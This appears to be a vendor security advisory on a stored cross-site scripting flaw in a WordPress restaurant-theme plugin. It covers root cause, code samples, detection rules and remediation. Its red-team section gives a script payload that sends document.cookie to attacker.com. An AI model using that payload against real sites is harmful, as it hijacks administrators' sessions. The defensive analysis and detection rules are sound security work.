CVE-2025-63026

Executive Summary

CVE-2025-63026 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Grand Restaurant Theme Elements for Elementor (grandrestaurant-elementor) by ThemeGoods. The vulnerability exists in versions up to and including 2.1.1, where user-supplied input is improperly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious scripts that are stored on the server and executed in the browsers of other users, including administrators. This can lead to session hijacking, defacement, or redirection to malicious sites. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch makes this a significant risk for affected WordPress sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed the plugin from untrusted sources may be at higher risk. No official patch or advisory has been released by ThemeGoods as of this report.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level WordPress user)
• User Interaction: Required (Victim must visit the compromised page)
• Scope: Changed (Impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the lack of a patch elevate the risk for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability resides in the Grand Restaurant Theme Elements for Elementor plugin, which provides custom widgets for the Elementor page builder. The plugin fails to sanitize or escape user input when rendering certain dynamic elements (e.g., menu items, restaurant descriptions, or custom fields). An attacker with contributor-level access can inject malicious JavaScript into these fields. When an administrator or other user views the page containing the injected content, the script executes in their browser context.

Root Cause: The plugin uses echo or the_content filters without applying WordPress’s built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post(). This allows arbitrary HTML and JavaScript to be stored and rendered.

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Attacker creates or edits a post/page using the Grand Restaurant Elementor widgets.
3. Attacker injects a payload like <script>alert('XSS')</script> into a text field.
4. The payload is stored in the WordPress database.
5. When an admin or visitor loads the page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (example from grandrestaurant-elementor <= 2.1.1):

// In a widget's render() method
echo '<div class="menu-item">' . $instance['title'] . '</div>';

Patched Code (hypothetical fix):

// Properly escape output
echo '<div class="menu-item">' . esc_html( $instance['title'] ) . '</div>';

The vulnerable code directly outputs user-supplied data without escaping. The patched version uses esc_html() to neutralize HTML/JavaScript.

Exploitation & Lab Setup

Red Team (Attacker) Perspective

Prerequisites:

• WordPress site with Grand Restaurant Theme Elements for Elementor <= 2.1.1
• Contributor-level account or higher

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new page or edit an existing one using Elementor.
3. Add the Grand Restaurant widget (e.g., "Menu Item").
4. In the title or description field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish or save the page.
6. Wait for an administrator to view the page, or send them a direct link.

Expected Outcome: The admin’s session cookie is exfiltrated to the attacker’s server.

Blue Team (Defender) Perspective

Detection:

• Monitor WordPress admin logs for unusual page edits by low-privilege users.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Regularly scan for known vulnerable plugin versions.

Hunting:

• Search the WordPress database for <script> tags in post content:

  SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%';
  

• Check for unexpected outbound connections from the web server.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/grandrestaurant-elementor/ (presence of version <= 2.1.1)
• Database: Rows in wp_posts or wp_postmeta containing <script> tags or obfuscated JavaScript.
• Network: Outbound HTTP requests to unknown domains from the WordPress server.
• Logs: WordPress audit logs showing page edits by contributor-level users with suspicious content.

Detection Engineering

YARA Rule

rule CVE_2025_63026_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress Grand Restaurant plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63026"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /on\w+\s*=\s*["'][^"']*["']/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-63026 Stored XSS in Grand Restaurant Elementor
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via WordPress plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=elementor_ajax'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in content
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-63026 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"<script"; nocase; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove any malicious content from the database (search for <script> tags).
3. Change all WordPress admin passwords and invalidate existing sessions.

Long-term Fix:

• Apply input validation and output escaping in all plugin widgets.
• Use WordPress’s wp_kses_post() for rich text fields and esc_html() for plain text.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.

Workarounds:

• Use a WAF with XSS rules (e.g., ModSecurity with OWASP CRS).
• Restrict contributor-level users from using Elementor if not needed.

Valters IT
Securing Digital Frontiers